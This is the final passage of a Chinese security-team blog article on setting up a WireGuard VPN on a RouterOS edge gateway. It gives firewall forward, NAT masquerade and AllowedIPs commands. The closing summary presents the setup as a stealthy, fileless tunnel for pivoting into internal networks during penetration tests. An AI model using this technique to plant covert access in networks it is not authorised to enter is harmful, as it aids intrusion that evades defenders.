src="https://wechat2rss.xlab.app/img-proxy/?k=0b241596&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA7ibwu4NOAQceOST07ia3OFxWVR1VUMVFnz59SPTVgQvuypSbgWaBxF0Udr35KiaEIRPYicO9bLReS7s5uGqLh15nA7Oiar5ypEpabs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">21.png</span></figcaption></figure><h4 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.2em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5.1 开启防火墙放行 (Forward 链)</span></span></h4><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">RouterOS默认可能会拦截非 LAN 接口发起的转发请求，以下这条规则用于允许来自 WireGuard 的流量进入 LAN 接口：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf="">/ip firewall filter</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">add</span></span><span leaf=""> action=accept chain=forward </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">in</span></span><span leaf="">-</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">interface</span></span><span leaf="">=all-wireguard </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">out</span></span><span leaf="">-</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">interface</span></span><span leaf="">=LAN comment=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;WireGuardToLAN&#34;</span></span></code></pre><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">注：如果只有一个WireGuard接口，写具体的接口名（如wireguard1）也可以。</span></p><h4 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.2em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5.2 开启NAT Masquerade</span></span></h4><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">可能还需要解决“回程路由”问题，以下这条规则用于让内网机器以为请求是路由器发的，从而能正常回包：</span></p><pre style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px 2px;padding: 0.5em;font-size: inherit;color: rgb(220, 220, 220);line-height: inherit;overflow-wrap: normal !important;border-radius: 0px;background: rgb(30, 30, 30);display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1</span></span><span leaf="">/ip firewall nat</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px 20px 0px 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;word-spacing: 0px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">add</span></span><span leaf=""> action=masquerade chain=srcnat src-address=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">10.1</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.1</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">.1</span></span><span leaf="">/</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(184, 215, 163);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">24</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">out</span></span><span leaf="">-</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(86, 156, 214);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">interface</span></span><span leaf="">=LAN comment=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: rgb(214, 157, 133);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">&#34;WireGuardNAT&#34;</span></span></code></pre><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">注意：请将 10.1.1.1/24 替换为你给 WireGuard 客户端分配的虚拟 IP 段。</span></p><h4 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.2em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5.3 检查Peer是否填写AllowedIPs</span></span></h4><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">回到服务端，找到WireGuard功能点，找到Peers标签页：</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">AllowedIPs 必须包含：192.168.1.1/24和10.1.1.1/24（分别是我们VPN分配的虚拟网段和目标核心网网段）</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">做完以上三步之后，再去测试能否访问核心IP网段192.168.1.1/24，就会发现能够成功访问到了。</span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">6# 总结</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-weight: bold;">通过本文，我们能从0开始，了解并熟悉如何架设WireGuard VPN，并成功以此连接到内网环境，实现跨网段和深度内网渗透，同时使用该手段建立的内网隧道流量特征不明显，无文件落地，且在边缘网关主机当中运行，具有较高的隐蔽性和内网通信权限，有较高的渗透利用价值。</span></span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-weight: bold;">本文所有内容军来自于实战环境，且互联网相关资料多为残缺状态，本文具有重要的参考价值，同时也感谢各位师傅的关注和支持！</span></span></p><p data-pm-slice="0 0 []" class="js_darkmode__103" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 1.5em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-weight: 300;letter-spacing: normal;text-align: start;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">如果师傅们还有一些骚姿势，可以在评论区秀出来，也可以和我友好交流哈哈~</span></p><hr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 1.5rem 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 255, 255);border-top: 1px dashed rgb(165, 165, 165);color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;border-right: none;border-left: none;border-image: initial;border-bottom: none;height: 1px;font-size: 16px;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-weight: 300;letter-spacing: normal;text-align: start;"/><blockquote style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 1em 0px;padding: 15px 15px 15px 1rem;outline: 0px;border-left: 6px solid rgb(220, 230, 240);color: rgb(129, 145, 152);font-size: 0.9em;text-indent: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: normal;background: rgb(242, 247, 251);border-top-color: rgb(64, 64, 64);border-right-color: rgb(64, 64, 64);border-bottom-color: rgb(64, 64, 64);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: inherit;display: block;overflow: auto;word-break: normal;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;letter-spacing: normal;text-align: start;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">我是曾哥，我在渊龙Sec安全团队等你</span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">微信公众号：渊龙Sec安全团队</span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎关注我，一起学习，一起进步~</span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本篇文章为团队成员原创文章，请不要擅自盗取！</span></p></blockquote><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000063" data-ratio="1" data-s="300,640" type="block" data-type="png" data-w="430" src="https://wechat2rss.xlab.app/img-proxy/?k=4c67e7ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfiajytAx7IbfPkMjLIyRLkDoUuREpP4SwzqNe9WfraEfyrUE4wZYFicQ6dUicmnWgycGicCiasp6jYC7OzDsicx8GmqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://nccsec.cn/community/detail?id=CKW2xdTj8gE">阅读原文</a></p>
